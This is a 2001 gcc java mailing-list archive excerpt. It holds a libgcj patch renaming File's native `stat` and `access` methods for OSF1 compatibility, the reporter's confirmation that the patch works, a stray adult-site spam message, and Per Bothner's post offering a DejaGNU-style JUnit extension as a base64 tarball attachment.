gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 15 Jul 2001 01:07:50 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA28680; Sat, 14 Jul 2001 19:07:46 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id TAA28788; Sat, 14 Jul 2001 19:31:31 -0600 To: Antonio Ake Cc: Subject: Re: natFile.cc does not compile in OSF1 References: X-Zippy: This is my WILLIAM BENDIX memorial CORNER where I worship William Bendix like a GOD!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 14 Jul 2001 19:31:31 -0600 In-Reply-To: Antonio Ake's message of "Sat, 14 Jul 2001 02:28:30 -0500 (EST)" Message-ID: <87snfzugek.fsf@creche.redhat.com> Lines: 146 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Antonio" == Antonio Ake writes: Antonio> I am working with 3.0.1 and my architecture is OSF1 V5.0 910 Antonio> alpha I am trying to build libgcj, when is compiling Antonio> natFile.cc I have a problem with the java::io::File:stat Antonio> command: Thanks for your report. I think the simplest way around this is to rename `stat' (and `access', just in case) to `_stat'. Could you try this patch? If it works for you I will check it in to the trunk and the branch. 2001-07-14 Tom Tromey * java/io/natFileWin32.cc (_access): Renamed. (_stat): Likewise. * java/io/natFile.cc (_access): Renamed. (_stat): Likewise. * java/io/File.java (access, stat): Add leading `_' to name. Updated all callers. Tom Index: java/io/File.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/File.java,v retrieving revision 1.18 diff -u -r1.18 File.java --- java/io/File.java 2001/04/12 09:32:50 1.18 +++ java/io/File.java 2001/07/15 00:19:27 @@ -29,13 +29,13 @@ public boolean canRead () { checkRead(); - return access (READ); + return _access (READ); } public boolean canWrite () { checkWrite(); - return access (WRITE); + return _access (WRITE); } private native boolean performCreate() throws IOException; @@ -71,7 +71,7 @@ public boolean exists () { checkRead(); - return access (EXISTS); + return _access (EXISTS); } public File (String p) @@ -209,20 +209,20 @@ public boolean isDirectory () { checkRead(); - return stat (DIRECTORY); + return _stat (DIRECTORY); } public boolean isFile () { checkRead(); - return stat (ISFILE); + return _stat (ISFILE); } /** @since 1.2 */ public boolean isHidden() { checkRead(); - return stat (ISHIDDEN); + return _stat (ISHIDDEN); } public long lastModified () @@ -566,8 +566,11 @@ private final static int LENGTH = 1; private final native long attr (int query); - private final native boolean access (int query); - private final native boolean stat (int query); + // On OSF1 V5.0, `stat' is a macro. It is easiest to use the name + // `_stat' instead. We do the same thing for `_access' just in + // case. + private final native boolean _access (int query); + private final native boolean _stat (int query); private static final long serialVersionUID = 301077366599181567L; } Index: java/io/natFile.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFile.cc,v retrieving revision 1.12 diff -u -r1.12 natFile.cc --- java/io/natFile.cc 2001/06/01 04:04:10 1.12 +++ java/io/natFile.cc 2001/07/15 00:19:27 @@ -37,7 +37,7 @@ #include jboolean -java::io::File::access (jint query) +java::io::File::_access (jint query) { char buf[MAXPATHLEN]; jsize total = JvGetStringUTFRegion (path, 0, path->length(), buf); @@ -59,7 +59,7 @@ } jboolean -java::io::File::stat (jint query) +java::io::File::_stat (jint query) { char buf[MAXPATHLEN]; jsize total = JvGetStringUTFRegion (path, 0, path->length(), buf); Index: java/io/natFileWin32.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFileWin32.cc,v retrieving revision 1.4 diff -u -r1.4 natFileWin32.cc --- java/io/natFileWin32.cc 2001/04/02 05:23:10 1.4 +++ java/io/natFileWin32.cc 2001/07/15 00:19:27 @@ -25,7 +25,7 @@ #include jboolean -java::io::File::access (jint query) +java::io::File::_access (jint query) { char buf[MAX_PATH]; jsize total = JvGetStringUTFRegion (path, 0, path->length(), buf); @@ -46,7 +46,7 @@ } jboolean -java::io::File::stat (jint query) +java::io::File::_stat (jint query) { char buf[MAX_PATH]; jsize total = JvGetStringUTFRegion (path, 0, path->length(), buf); From java-return-6507-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 15 02:10:48 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19933 invoked by alias); 15 Jul 2001 02:10:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19898 invoked from network); 15 Jul 2001 02:10:43 -0000 Received: from unknown (HELO exchange.rescap.com) (64.1.190.5) by sourceware.cygnus.com with SMTP; 15 Jul 2001 02:10:43 -0000 Received: by EXCHANGE with Internet Mail Service (5.5.2650.21) id <36PZZ4BC>; Sat, 14 Jul 2001 19:10:14 -0700 Received: from localhost (211.75.142.146 [211.75.142.146]) by exchange.rescap.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 36PZZ4A8; Sat, 14 Jul 2001 19:09:52 -0700 From: friends@openxxx.net To: java@gcc.gnu.org X-Mailer: Perl+Mail::Sender 0.7.10 by Jan Krynicky Subject: Hello, your friend recommended openxxx to you You have been invited to check out this adult site by one of your friends who visited us. our URL is http://www.openxxx.net/ enjoy, OpenXXX TEAM 2001 From java-return-6508-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 15 07:08:30 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4256 invoked by alias); 15 Jul 2001 07:08:30 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4220 invoked from network); 15 Jul 2001 07:08:27 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 15 Jul 2001 07:08:27 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6F78L921613; Sun, 15 Jul 2001 02:08:21 -0500 (EST) Date: Sun, 15 Jul 2001 02:08:21 -0500 (EST) From: Antonio Ake To: Tom Tromey cc: Subject: Re: natFile.cc does not compile in OSF1 In-Reply-To: <87snfzugek.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks Tom. Libgcj passed this point with your patch. On 14 Jul 2001, Tom Tromey wrote: > >>>>> "Antonio" == Antonio Ake writes: > > Antonio> I am working with 3.0.1 and my architecture is OSF1 V5.0 910 > Antonio> alpha I am trying to build libgcj, when is compiling > Antonio> natFile.cc I have a problem with the java::io::File:stat > Antonio> command: > > Thanks for your report. > > I think the simplest way around this is to rename `stat' (and > `access', just in case) to `_stat'. > > Could you try this patch? > If it works for you I will check it in to the trunk and the branch. > > 2001-07-14 Tom Tromey > > * java/io/natFileWin32.cc (_access): Renamed. > (_stat): Likewise. > * java/io/natFile.cc (_access): Renamed. > (_stat): Likewise. > * java/io/File.java (access, stat): Add leading `_' to name. > Updated all callers. > > Tom > > Index: java/io/File.java > =================================================================== > RCS file: /cvs/gcc/gcc/libjava/java/io/File.java,v > retrieving revision 1.18 > diff -u -r1.18 File.java > --- java/io/File.java 2001/04/12 09:32:50 1.18 > +++ java/io/File.java 2001/07/15 00:19:27 > @@ -29,13 +29,13 @@ > public boolean canRead () > { > checkRead(); > - return access (READ); > + return _access (READ); > } > > public boolean canWrite () > { > checkWrite(); > - return access (WRITE); > + return _access (WRITE); > } > > private native boolean performCreate() throws IOException; > @@ -71,7 +71,7 @@ > public boolean exists () > { > checkRead(); > - return access (EXISTS); > + return _access (EXISTS); > } > > public File (String p) > @@ -209,20 +209,20 @@ > public boolean isDirectory () > { > checkRead(); > - return stat (DIRECTORY); > + return _stat (DIRECTORY); > } > > public boolean isFile () > { > checkRead(); > - return stat (ISFILE); > + return _stat (ISFILE); > } > > /** @since 1.2 */ > public boolean isHidden() > { > checkRead(); > - return stat (ISHIDDEN); > + return _stat (ISHIDDEN); > } > > public long lastModified () > @@ -566,8 +566,11 @@ > private final static int LENGTH = 1; > > private final native long attr (int query); > - private final native boolean access (int query); > - private final native boolean stat (int query); > + // On OSF1 V5.0, `stat' is a macro. It is easiest to use the name > + // `_stat' instead. We do the same thing for `_access' just in > + // case. > + private final native boolean _access (int query); > + private final native boolean _stat (int query); > > private static final long serialVersionUID = 301077366599181567L; > } > Index: java/io/natFile.cc > =================================================================== > RCS file: /cvs/gcc/gcc/libjava/java/io/natFile.cc,v > retrieving revision 1.12 > diff -u -r1.12 natFile.cc > --- java/io/natFile.cc 2001/06/01 04:04:10 1.12 > +++ java/io/natFile.cc 2001/07/15 00:19:27 > @@ -37,7 +37,7 @@ > #include > > jboolean > -java::io::File::access (jint query) > +java::io::File::_access (jint query) > { > char buf[MAXPATHLEN]; > jsize total = JvGetStringUTFRegion (path, 0, path->length(), buf); > @@ -59,7 +59,7 @@ > } > > jboolean > -java::io::File::stat (jint query) > +java::io::File::_stat (jint query) > { > char buf[MAXPATHLEN]; > jsize total = JvGetStringUTFRegion (path, 0, path->length(), buf); > Index: java/io/natFileWin32.cc > =================================================================== > RCS file: /cvs/gcc/gcc/libjava/java/io/natFileWin32.cc,v > retrieving revision 1.4 > diff -u -r1.4 natFileWin32.cc > --- java/io/natFileWin32.cc 2001/04/02 05:23:10 1.4 > +++ java/io/natFileWin32.cc 2001/07/15 00:19:27 > @@ -25,7 +25,7 @@ > #include > > jboolean > -java::io::File::access (jint query) > +java::io::File::_access (jint query) > { > char buf[MAX_PATH]; > jsize total = JvGetStringUTFRegion (path, 0, path->length(), buf); > @@ -46,7 +46,7 @@ > } > > jboolean > -java::io::File::stat (jint query) > +java::io::File::_stat (jint query) > { > char buf[MAX_PATH]; > jsize total = JvGetStringUTFRegion (path, 0, path->length(), buf); > From java-return-6509-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 15 07:09:05 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4684 invoked by alias); 15 Jul 2001 07:09:05 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4664 invoked from network); 15 Jul 2001 07:09:03 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 15 Jul 2001 07:09:03 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6F7CI517517; Sun, 15 Jul 2001 00:12:18 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: java-discuss@sources.redhat.com Subject: DejaGNU-style JUnit testing From: Per Bothner Date: 15 Jul 2001 00:12:18 -0700 Message-ID: Lines: 35 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" --=-=-= I don't know if this makes sense or not, but I hacked together a little extension of the JUnit testing framework (http://www.junit.org/). This has these extra features: * A hook for "expected failures". (I guess the proponents of "Extreme Programming" don't believe in expected failues!) * the output is written in DejaGNU-style syntax: FAIL: test1(gnu.testing.mytest) - expected:<5> but was:<4> XPASS: test4(gnu.testing.mytest) Time: 0.02 === Summary === # of expected passes 1 # of unexpected passes 1 # of unexpected failures 1 # of expected failures 1 * Terse output is written to standard output. Complete output plus redirected System output and error are written to a log file. (For now hard-wired to /tmp/test.log.) I don't know if this is of interest to any one, but I've attached a snapshot. --=-=-= Content-Type: application/x-gzip Content-Disposition: attachment; filename=gnu-testing.tgz Content-Transfer-Encoding: base64 Content-Description: gnu.testing package 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 